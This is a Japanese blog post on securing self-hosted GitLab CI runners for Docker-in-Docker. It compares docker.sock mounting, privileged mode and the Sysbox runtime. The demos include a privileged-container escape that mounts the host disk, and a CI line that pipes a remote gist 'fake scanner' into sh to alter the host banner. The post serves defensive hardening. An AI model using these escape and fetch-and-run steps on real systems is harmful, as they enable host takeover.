便利なGitLab CI/CD 見出しへのリンク
私は大学時代からGitLabが好きです。部活動ではGitLabをセルフホストしましたし、研究室ではGitLab.comを使ってプライベートなグループを運用したりしました。機能で言えばSubgroupは非常に便利ですし、特にCI/CDについてはGitHubよりも使いやすいと感じていて1、今でも好き勝手できる趣味プロジェクトではセルフホストしたインスタンスやRunnerを利用してします。 もちろんGitLabに思うところも色々ありましたが2、成長し続けて欲しいソフトウェアの一つであることは間違いありません。
ところで、CIジョブ内でDockerイメージのビルドやレジストリへのプッシュをしたくなる時があります(ありませんか?)。さらに言えば、ジョブ内でdocker-composeなどをそのまま実行してテスト等を回したいこともしばしばあります3。 GitLabの場合、GitLab.comでホストされているRunnerであれば何も考える必要はありませんが、セルフホストしたRunner(CI/CD実行環境)で実現しようとするとそのための設定が必要です。例えば、こういった具合に。
[[runners]]
url = "https://gitlab.com/"
token = REGISTRATION_TOKEN
executor = "docker"
[runners.docker]
tls_verify = false
image = "docker:19.03.12"
privileged = false
disable_cache = false
volumes = ["/var/run/docker.sock:/var/run/docker.sock", "/cache"]
[runners.cache]
Insecure = false
上記の設定でRunnerをセットアップすれば、あとはCIから docker
なり docker-compose
なりを叩くだけでいつも通りビルドしたり実行したりできます。さあ、さっさと空いてるVMとかで適当にRunnerを立ち上げて自由を楽しみましょう。イェイ!
セルフホストでも大事なセキュリティ 見出しへのリンク
……おっと、ちょっと待ってください。確かにこの設定で動作はします。でも、これはセキュアではありませんよね4。ホストのdocker.sockをそのままCIのコンテナに引き渡しているので、コンテナはDockerを経由してホストを事実上掌握できてしまうじゃないですか。また、例えばジョブ内で docker run -d ImageName
を実行すると、ジョブが終了してもホスト上で当該コンテナは生き続けてしまいます。怖いですね。
さらに言えば、この方法ではジョブを跨いでイメージが共有されます。つまり、ジョブAがイメージexample/Aをビルドし終えた直後にジョブBが別のイメージを同名でビルドし終えた時、example/Aの指す先は後者のイメージになってしまいます。再利用できるという意味ではちょっぴりエコかもしれませんが、タイミング次第では困ったことになりそうです。
ビルドにせよテストにせよ、事情がない限り5はジョブごとにまっさらな環境で走ってもらいたいものですよね。
では、他の方法はないのでしょうか。再度ドキュメントを読むと、コンテナ内でDockerを動作させるDinD(Docker-in-Docker)の例があるようです。この場合、Runnerを以下の具合に設定します。
[[runners]]
url = "https://gitlab.com/"
token = TOKEN
executor = "docker"
[runners.docker]
tls_verify = false
image = "docker:19.03.12"
privileged = true
disable_cache = false
volumes = ["/certs/client", "/cache"]
[runners.cache]
[runners.cache.s3]
[runners.cache.gcs]
こうすれば、Dockerをコンテナ内で実行することができます。肝は privileged = true
で、この設定がなければ動作しません。
何はともあれ、こうすることでホストのrootを奪われることもないし、ジョブを跨いだゾンビコンテナが発生することもないし、別のジョブのイメージで自身のビルドが汚染されることもありません。やったあ!
……。
…………。
いやいや、ちょっと待ってください。本当にそうでしょうか? もちろん、答えはノーです。確かに既に挙げられた問題は解決したように見えますが、大きな落とし穴があります。
そう、新たに設定された privileged = true
です。ドキュメント曰く、これはDockerの privileged
フラグを操作するもので、これを有効にするとジョブが実行されるコンテナに大きな力が与えられます。その力とは? ズバリ、ホストの全デバイスにアクセスできる能力です。
例を示しましょう。ここに、DockerがインストールされたUbuntu 20.04 LTSのVM6があります。
ubuntu@primary:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Codename: focal
ubuntu@primary:~$ sudo docker version
Client:
Version: 20.10.7
API version: 1.41
Go version: go1.13.8
Git commit: 20.10.7-0ubuntu5~20.04.2
Built: Mon Nov 1 00:34:17 2021
OS/Arch: linux/amd64
Context: default
Experimental: true
Server:
Engine:
Version: 20.10.7
API version: 1.41 (minimum version 1.12)
Go version: go1.13.8
Git commit: 20.10.7-0ubuntu5~20.04.2
Built: Fri Oct 22 00:45:53 2021
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.5.5-0ubuntu3~20.04.1
GitCommit:
runc:
Version: 1.0.1-0ubuntu2~20.04.1
GitCommit:
docker-init:
Version: 0.19.0
GitCommit:
まずはお馴染みAlpine Linuxのコンテナを普通に立ち上げて、デバイスファイルを見てみます。
ubuntu@primary:~$ sudo docker run --rm -it alpine:latest /bin/sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
59bf1c3509f3: Pull complete
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Downloaded newer image for alpine:latest
/ # ls -al /dev/
total 4
drwxr-xr-x 5 root root 360 Dec 9 14:40 .
drwxr-xr-x 1 root root 4096 Dec 9 14:40 ..
crw--w---- 1 root tty 136, 0 Dec 9 14:40 console
lrwxrwxrwx 1 root root 11 Dec 9 14:40 core -> /proc/kcore
lrwxrwxrwx 1 root root 13 Dec 9 14:40 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Dec 9 14:40 full
drwxrwxrwt 2 root root 40 Dec 9 14:40 mqueue
crw-rw-rw- 1 root root 1, 3 Dec 9 14:40 null
lrwxrwxrwx 1 root root 8 Dec 9 14:40 ptmx -> pts/ptmx
drwxr-xr-x 2 root root 0 Dec 9 14:40 pts
crw-rw-rw- 1 root root 1, 8 Dec 9 14:40 random
drwxrwxrwt 2 root root 40 Dec 9 14:40 shm
lrwxrwxrwx 1 root root 15 Dec 9 14:40 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Dec 9 14:40 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Dec 9 14:40 stdout -> /proc/self/fd/1
crw-rw-rw- 1 root root 5, 0 Dec 9 14:40 tty
crw-rw-rw- 1 root root 1, 9 Dec 9 14:40 urandom
crw-rw-rw- 1 root root 1, 5 Dec 9 14:40 zero
お次に、privilegedなコンテナを立ち上げて、デバイスファイルを見てみます。
ubuntu@primary:~$ sudo docker run --rm --privileged -it alpine:latest /bin/sh
/ # ls -al /dev/
total 4
drwxr-xr-x 13 root root 3660 Dec 9 14:44 .
drwxr-xr-x 1 root root 4096 Dec 9 14:44 ..
crw-r--r-- 1 root root 10, 235 Dec 9 14:44 autofs
drwxr-xr-x 2 root root 60 Dec 9 14:44 bsg
crw-rw---- 1 root disk 10, 234 Dec 9 14:44 btrfs-control
crw--w---- 1 root tty 136, 0 Dec 9 14:44 console
lrwxrwxrwx 1 root root 11 Dec 9 14:44 core -> /proc/kcore
drwxr-xr-x 3 root root 60 Dec 9 14:44 cpu
crw------- 1 root root 10, 59 Dec 9 14:44 cpu_dma_latency
crw------- 1 root root 10, 203 Dec 9 14:44 cuse
crw------- 1 root root 10, 62 Dec 9 14:44 ecryptfs
lrwxrwxrwx 1 root root 13 Dec 9 14:44 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Dec 9 14:44 full
crw-rw-rw- 1 root root 10, 229 Dec 9 14:44 fuse
crw------- 1 root root 10, 228 Dec 9 14:44 hpet
crw------- 1 root root 10, 183 Dec 9 14:44 hwrng
drwxr-xr-x 2 root root 80 Dec 9 14:44 input
crw-r--r-- 1 root root 1, 11 Dec 9 14:44 kmsg
drwxr-xr-x 2 root root 60 Dec 9 14:44 lightnvm
crw-rw---- 1 root disk 10, 237 Dec 9 14:44 loop-control
brw-rw---- 1 root disk 7, 0 Dec 9 14:44 loop0
brw-rw---- 1 root disk 7, 1 Dec 9 14:44 loop1
brw-rw---- 1 root disk 7, 2 Dec 9 14:44 loop2
brw-rw---- 1 root disk 7, 3 Dec 9 14:44 loop3
brw-rw---- 1 root disk 7, 4 Dec 9 14:44 loop4
brw-rw---- 1 root disk 7, 5 Dec 9 14:44 loop5
brw-rw---- 1 root disk 7, 6 Dec 9 14:44 loop6
brw-rw---- 1 root disk 7, 7 Dec 9 14:44 loop7
drwxr-xr-x 2 root root 60 Dec 9 14:44 mapper
crw------- 1 root root 10, 227 Dec 9 14:44 mcelog
crw-r----- 1 root man 1, 1 Dec 9 14:44 mem
drwxrwxrwt 2 root root 40 Dec 9 14:44 mqueue
drwxr-xr-x 2 root root 60 Dec 9 14:44 net
... 中略 ...
crw-rw---- 1 root tty 7, 70 Dec 9 14:44 vcsu6
brw-rw---- 1 root disk 252, 0 Dec 9 14:44 vda
brw-rw---- 1 root disk 252, 1 Dec 9 14:44 vda1
brw-rw---- 1 root disk 252, 14 Dec 9 14:44 vda14
brw-rw---- 1 root disk 252, 15 Dec 9 14:44 vda15
drwxr-xr-x 2 root root 60 Dec 9 14:44 vfio
crw------- 1 root root 10, 63 Dec 9 14:44 vga_arbiter
crw------- 1 root root 10, 238 Dec 9 14:44 vhost-net
crw------- 1 root root 10, 241 Dec 9 14:44 vhost-vsock
crw-rw-rw- 1 root root 1, 5 Dec 9 14:44 zero
crw------- 1 root root 10, 249 Dec 9 14:44 zfs
なるほど、確かにあらゆるデバイスにアクセスできるようになったようです(一部省略するくらいには)。 ……お気づきでしょうか? つまり、そう、こんなことができてしまうのです。
# privilegedなコンテナで……
/ # mount /dev/vda1 /mnt
/ # ls -al /mnt/
total 88
drwxr-xr-x 19 root root 4096 Dec 9 14:36 .
drwxr-xr-x 1 root root 4096 Dec 9 14:44 ..
lrwxrwxrwx 1 root root 7 Nov 29 21:38 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Nov 29 21:42 boot
drwxr-xr-x 5 root root 4096 Nov 29 21:41 dev
drwxr-xr-x 97 root root 4096 Dec 9 14:38 etc
drwxr-xr-x 3 root root 4096 Dec 9 14:36 home
lrwxrwxrwx 1 root root 7 Nov 29 21:38 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 29 21:38 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 29 21:38 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 29 21:38 libx32 -> usr/libx32
drwx------ 2 root root 16384 Nov 29 21:42 lost+found
drwxr-xr-x 2 root root 4096 Nov 29 21:38 media
drwxr-xr-x 2 root root 4096 Nov 29 21:38 mnt
drwxr-xr-x 3 root root 4096 Dec 9 14:38 opt
drwxr-xr-x 2 root root 4096 Apr 15 2020 proc
drwx------ 4 root root 4096 Dec 9 14:36 root
drwxr-xr-x 3 root root 4096 Nov 29 21:42 run
lrwxrwxrwx 1 root root 8 Nov 29 21:38 sbin -> usr/sbin
drwxr-xr-x 8 root root 4096 Dec 9 14:36 snap
drwxr-xr-x 2 root root 4096 Nov 29 21:38 srv
drwxr-xr-x 2 root root 4096 Apr 15 2020 sys
drwxrwxrwt 12 root root 4096 Dec 9 14:44 tmp
drwxr-xr-x 15 root root 4096 Nov 29 21:40 usr
drwxr-xr-x 13 root root 4096 Nov 29 21:41 var
/ # echo "YOU'VE BEEN HACKED!!!" > /mnt/YOU_ARE_AN_IDIOT
上の操作をした後でホストを見ると、こんなことになっています。
ubuntu@primary:~$ ls -al /
total 76
drwxr-xr-x 19 root root 4096 Dec 9 23:52 .
drwxr-xr-x 19 root root 4096 Dec 9 23:52 ..
-rw-r--r-- 1 root root 22 Dec 9 23:52 YOU_ARE_AN_IDIOT
lrwxrwxrwx 1 root root 7 Nov 30 06:38 bin -> usr/bin
drwxr-xr-x 4 root root 4096 Nov 30 06:42 boot
drwxr-xr-x 17 root root 3840 Dec 9 23:36 dev
drwxr-xr-x 97 root root 4096 Dec 9 23:51 etc
drwxr-xr-x 3 root root 4096 Dec 9 23:36 home
lrwxrwxrwx 1 root root 7 Nov 30 06:38 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 30 06:38 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 30 06:38 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 30 06:38 libx32 -> usr/libx32
drwx------ 2 root root 16384 Nov 30 06:42 lost+found
drwxr-xr-x 2 root root 4096 Nov 30 06:38 media
drwxr-xr-x 2 root root 4096 Nov 30 06:38 mnt
drwxr-xr-x 3 root root 4096 Dec 9 23:38 opt
dr-xr-xr-x 171 root root 0 Dec 9 23:35 proc
drwx------ 4 root root 4096 Dec 9 23:36 root
drwxr-xr-x 31 root root 960 Dec 9 23:50 run
lrwxrwxrwx 1 root root 8 Nov 30 06:38 sbin -> usr/sbin
drwxr-xr-x 8 root root 4096 Dec 9 23:36 snap
drwxr-xr-x 2 root root 4096 Nov 30 06:38 srv
dr-xr-xr-x 13 root root 0 Dec 9 23:35 sys
drwxrwxrwt 12 root root 4096 Dec 9 23:50 tmp
drwxr-xr-x 15 root root 4096 Nov 30 06:40 usr
drwxr-xr-x 13 root root 4096 Nov 30 06:41 var
ubuntu@primary:~$ cat /YOU_ARE_AN_IDIOT
YOU'VE BEEN HACKED!!!
なんということでしょう! privilegedなコンテナからホストのドライブにアクセスされ、イタズラまでされてしまいました。 つまり、Runnerでprivilegedを有効にした場合、管理者はやはりホストへのアクセスをジョブに許してしまうのです7。
これを根本的に対策できるものは存在しないのでしょうか。そもそもprivilegedをコンテナに与えなくともDinDが実行できれば良いのです。そんな夢の仕組みがあれば……しかし、そんな都合の良いものなんて…… そう、あるんです。
偉大なる存在、Sysbox 見出しへのリンク
Sysboxは、米国Nestybox社が提供する自由ソフトウェアのコンテナランタイムです。コンテナランタイムというのはコンテナを実際に動作させるために必要なソフトウェアのことで、SysboxはそのうちrunCと呼ばれる低レイヤーを担う部分の実装となっています。 SysboxはDinDの生みの親からも2020年に太鼓判を押されており8、界隈では一定の信任を得られていると言えるでしょう。 具体的にどう素晴らしいのか。それは例えば :
- Dockerやsystemdなど、従来のrunCではコンテナ内での実行に際しprivilegedが必要だったものを、privileged不要で実行可能になる
- Linux user-namespaceやシステムファイルの仮想化機能により、より強力な分離を実現
など。クールだと思いませんか? Sysboxではこうした機能を持つコンテナのことを(一般的なコンテナと区別して)System Container9と呼んでいます。
SysboxはUbuntuやCentOS等、主要なLinuxディストリビューションに対応している10ので、誰でも簡単に使い始めることができます。切り替えも至って簡単。SysboxのrunCを用いてDockerでコンテナを立ち上げるには --runtime=sysbox-runc
を docker run
の引数に与えるだけです。
Runnerだとどうでしょう。これもやはり簡単で、Runnerのconfig.tomlに runtime = "sysbox-runc"
を付与するだけで、Runnerが立ち上げるコンテナにSysboxが利用されるようになります。
runtime
設定が正しく適用されないバグがあります(gitlab-org/gitlab-runner!3063)。Sysboxを手軽に試すにはGitLab Runner 14.4.0以上を利用してください。ともあれ Hooray! これさえあれば、CIを安全に動作させることも可能そうです。
ものは試し : 実演 見出しへのリンク
ここまで色々と説明しましたが、説明文だけで思いは伝わらないものです。そういうわけで、実際に試してみることとしましょう。
テスト用環境 見出しへのリンク
Sysboxを試すため、新たに以下の環境を構築しました6。全てのVMは同一ネットワークに接続され、通信の阻害はありません。NATを通して各VMはインターネットと接続されています。
GitLab本体に各Runnerが設定され、tag sysbox
でSysboxのインストールされたRunnerで、 tag bad
で通常のRunnerでジョブが実行されます。
GitLab, GitLab RunnerはDockerで実行しており、セットアップ内容は一般的なもののため割愛します。
┌──────────────────────────────────────────────────────────────────────────────────┐
│ │
│ ┌────────────────────────────────────┐ ┌────────────────────────────────────┐ │
│ │Ubuntu 20.04 / GitLab Runner 14.5.2 │ │Ubuntu 20.04 / GitLab Runner 14.5.2 │ │
│ │(sysbox) with Sysbox │ │(bad) │ │
│ │192.168.64.7 │ │192.168.64.8 │ │
│ └────────────────────────────────────┘ └────────────────────────────────────┘ │
│ ▲ ▲ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ │ ┌───────────────────────────────────┐ │ │
│ │ │ Ubuntu 20.04 / GitLab 14.5.2 │ │ │
│ └───┤ ├───┘ │
│ │ 192.168.64.6 │ │
│ └───────────────────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────────────────────────┘
▲
│
│ Internet (NAT)
│
│
各Runnerの設定は以下の通りです。要件は『DinDが可能であること』とし、それに準ずる設定とします。
concurrent = 1
check_interval = 0
[session_server]
session_timeout = 1800
[[runners]]
name = "SafeRunner"
url = "http://192.168.64.6"
token = "** HIDDEN **"
executor = "docker"
[runners.custom_build_dir]
[runners.cache]
[runners.cache.s3]
[runners.cache.gcs]
[runners.cache.azure]
[runners.docker]
tls_verify = false
image = "docker:19.03.12"
privileged = false
disable_entrypoint_overwrite = false
oom_kill_disable = false
disable_cache = false
runtime = "sysbox-runc"
volumes = ["/certs/client", "/cache"]
shm_size = 0
concurrent = 1
check_interval = 0
[session_server]
session_timeout = 1800
[[runners]]
name = "UnsafeRunner"
url = "http://192.168.64.6"
token = "** HIDDEN **"
executor = "docker"
[runners.custom_build_dir]
[runners.cache]
[runners.cache.s3]
[runners.cache.gcs]
[runners.cache.azure]
[runners.docker]
tls_verify = false
image = "docker:19.03.12"
privileged = true
disable_entrypoint_overwrite = false
oom_kill_disable = false
disable_cache = false
volumes = ["/certs/client", "/cache"]
shm_size = 0
上記のように設定されたRunnerらが正しくDinDを実行できる環境であるかを確認するため、以下の .gitlab-ci.yml
を作成してジョブを実行してみましょう。
image: alpine:latest
variables:
DOCKER_TLS_CERTDIR: "/certs"
services:
- docker:19.03.12-dind
stages:
- check-docker
docker-check-safe:
stage: check-docker
image: docker:19.03.12
tags:
- sysbox
script:
- docker run hello-world
docker-check-unsafe:
stage: check-docker
image: docker:19.03.12
tags:
- bad
script:
- docker run hello-world
この実行結果は、以下の通りです。
SysboxのRunner 通常のRunner
どちらもDinDが有効で、コンテナ内で docker run hello-world
が動作できていることが分かりました。
つまり、既に述べた要件は満たしています。となれば、残るはSysboxを試すだけ! 早速真価を見せてもらいましょう。
レッツ・ラン! 偽セキュリティスキャナを動かしてみる 見出しへのリンク
せっかくなのでリアリティのあるシナリオを考えてみました。ゲームっぽいロールプレイ、筋書きはこうです。
ある会社に勤める開発者Aさんは、GitLab上で非公開のソフトウェアを開発中です。Aさんはある時『実行するだけで簡単にソフトウェアのセキュリティスキャンをしてくれるスクリプト』の配布サイトを見つけました。そこに書いてある内容によると、CIでワンライナーを実行するだけで自動的にスキャンしてくれるとか。Aさんはその文言を信じ、内容を確認せず設定ファイルにワンライナーをペーストしてしまいーー
このスキャナですが、当然実際は偽のスキャン結果を表示しつつ裏でRunnerホストのバナーを変更する自作悪戯スクリプトです。もちろん無害ですが、Runnerホストにログインしたサーバー管理者はきっと肝が冷えることでしょう。
この偽スキャナを 『通常のDockerで実行した世界』『Sysboxで実行した世界』 のそれぞれについて、結果を比較することで動作を確認します。
まずは通常のDockerで実行される場合です。このとき、 .gitlab-ci.yml
は以下のようになります。
image: alpine:latest
stages:
- test
test-unsafe:
stage: test
tags:
- bad
script:
- SCAN=y wget -O - https://gist.githubusercontent.com/flfymoss/4978e8dacde8bb94b872f495c2c9bf06/raw/74d36097856ec0e4ff4044121a814e35d2e0e694/scanner.sh | SCAN=y sh -s
結果は……

DockerのRunnerで偽スキャナを動作させた場合
特にエラーもなく、 Absolutely secure!
。では、RunnerのVMにログインしてみましょう。
~ $ multipass shell runner-bad
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Dec 16 00:12:55 JST 2021
System load: 0.0
Usage of /: 14.2% of 28.90GB
Memory usage: 18%
Swap usage: 0%
Processes: 141
Users logged in: 1
IPv4 address for br-9dab856a8e3e: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for enp0s2: 192.168.64.8
10 updates can be applied immediately.
4 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
HEY, BUY ME A BEER! :)
Last login: Thu Dec 16 00:12:26 2021 from 192.168.64.1
ubuntu@runner-bad:~$ cat /etc/motd
HEY, BUY ME A BEER! :)
さあ大変です、Dockerの壁を突き抜けてRunnerホストのバナーが書き変わってしまいました。もし悪意のあるスクリプトだったなら……名も知らぬ人のためにビットコインの採掘を始めてしまうかもしれません。怖いですね。 こちらの世界線だと、Aさんは翌日こっぴどく叱られてしまいそうです11。
一方、Sysboxを使った方はどうでしょうか。以下の .gitlab-ci.yml
を使います。
image: alpine:latest
stages:
- test
test-safe:
stage: test
tags:
- sysbox
script:
- SCAN=y wget -O - https://gist.githubusercontent.com/flfymoss/4978e8dacde8bb94b872f495c2c9bf06/raw/74d36097856ec0e4ff4044121a814e35d2e0e694/scanner.sh | SCAN=y sh -s
実行結果は以下の通り。

SysboxのRunnerで偽スキャナを動作させた場合
おや、何やら防いだっぽいエラーが出ていますね。Runnerホストにログインしてみましょう。
~ $ multipass shell runner
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Dec 16 00:47:00 JST 2021
System load: 0.0
Usage of /: 14.4% of 28.90GB
Memory usage: 19%
Swap usage: 0%
Processes: 133
Users logged in: 0
IPv4 address for br-0e2fab8fdec4: 172.25.1.1
IPv4 address for docker0: 172.20.0.1
IPv4 address for enp0s2: 192.168.64.7
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
6 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
Last login: Thu Dec 16 00:46:51 2021 from 192.168.64.1
ホストにも影響が出ていないようです(Absolutely secure!
)。privilegedを付与していないので当然と言えば当然ですが、確かに安全なようですね。
ちなみに、sysboxで実行時のデバイスファイル一覧は以下のようになっています。
$ ls -al /dev/
total 4
drwxr-xr-x 5 root root 360 Dec 15 08:19 .
drwxr-xr-x 1 root root 4096 Dec 15 08:19 ..
lrwxrwxrwx 1 root root 11 Dec 15 08:19 core -> /proc/kcore
lrwxrwxrwx 1 root root 13 Dec 15 08:19 fd -> /proc/self/fd
crw-rw-rw- 1 nobody nobody 1, 7 Dec 15 03:35 full
crw-rw-rw- 1 nobody nobody 1, 3 Dec 15 03:35 kmsg
drwxrwxrwt 2 root nobody 40 Dec 15 08:19 mqueue
crw-rw-rw- 1 nobody nobody 1, 3 Dec 15 03:35 null
lrwxrwxrwx 1 root root 8 Dec 15 08:19 ptmx -> pts/ptmx
drwxr-xr-x 2 root root 0 Dec 15 08:19 pts
crw-rw-rw- 1 nobody nobody 1, 8 Dec 15 03:35 random
drwxrwxrwt 2 root root 40 Dec 15 08:19 shm
lrwxrwxrwx 1 root root 15 Dec 15 08:19 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 Dec 15 08:19 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 Dec 15 08:19 stdout -> /proc/self/fd/1
crw-rw-rw- 1 nobody nobody 5, 0 Dec 15 03:35 tty
crw-rw-rw- 1 nobody nobody 1, 9 Dec 15 03:35 urandom
crw-rw-rw- 1 nobody nobody 1, 5 Dec 15 03:35 zero
Looks good! まさに求めていた環境であることが確認できました。
まとめ 見出しへのリンク
GitLab CI/CDをはじめ、CI系ツールはセルフホストしようとするとセキュリティにも気を配らないといけません。もちろん、信頼できる人しか使わないツールであれば多少ルーズに設定しておいても差し支えはないでしょう。しかし、有事の際に「もしかして……」と疑心暗鬼になるくらいなら、こうしたランタイムを入れておくのも保険として有効なのではないでしょうか。
本稿では従来のDinDとSysboxを利用したGitLabのCI/CD環境をそれぞれ用意し、不正なスクリプトを実行してしまった状況を比較しました。結果としてSysboxを利用した場合、意図せぬホストへの操作を防ぐことができるのを確認しました。
今回は都合上ボリュームマウントの点についてしか比較できませんでしたが、privilegedを付与されたコンテナに対する攻撃は他にもあります。余裕や需要があれば、他の攻撃手法に対する比較も行っていきたいところです。
参考文献 見出しへのリンク
- nestybox/sysbox : An open-source, next-generation “runc” that empowers rootless containers to run workloads such as Systemd, Docker, Kubernetes, just like VMs.
- ~jpetazzo : Using Docker-in-Docker for your CI or testing environment? Think twice.
- Nestybox Blog Site : Securing GitLab CI pipelines with Sysbox
GitHubも巨大なコミュニティや資本力(無償枠の拡大等)で強みを有していますが、Runnerのセットアップのしやすさや自由度の高さにおいてはGitLabも負けていません。特にGitLabは誰でも簡単に本体ごとセルフホストできて(これぞ自由ソフトウェア!)、自前のコンテナレジストリと連携させる等が容易で非常に心強いです。 ↩︎
CI/CDに一個一個DB等のserviceを定義してもいいんですが、どうせなら開発環境のcomposeプロジェクトをそのまま動かしたいなあなんて思いませんか。メンテナンスとか面倒だし……。 ↩︎
オートスケール等でジョブごとに使い捨てのインスタンスを割り当てる場合、リスクは軽減できます。 ↩︎
そのマシンでしか動かせないものはこの例に当てはまるでしょう。例えば、ライセンス管理が必要な製品を動かす場合などです。 ↩︎
他にもカーネルモジュールを利用してホストに影響を与える手法等も存在するようですが、本稿では割愛します。 ↩︎
https://jpetazzo.github.io/2015/09/03/do-not-use-docker-in-docker-for-ci/ ↩︎
https://github.com/nestybox/sysbox/blob/master/docs/user-guide/concepts.md#system-container ↩︎
https://github.com/nestybox/sysbox/blob/master/docs/distro-compat.md ↩︎
あるいは…… ↩︎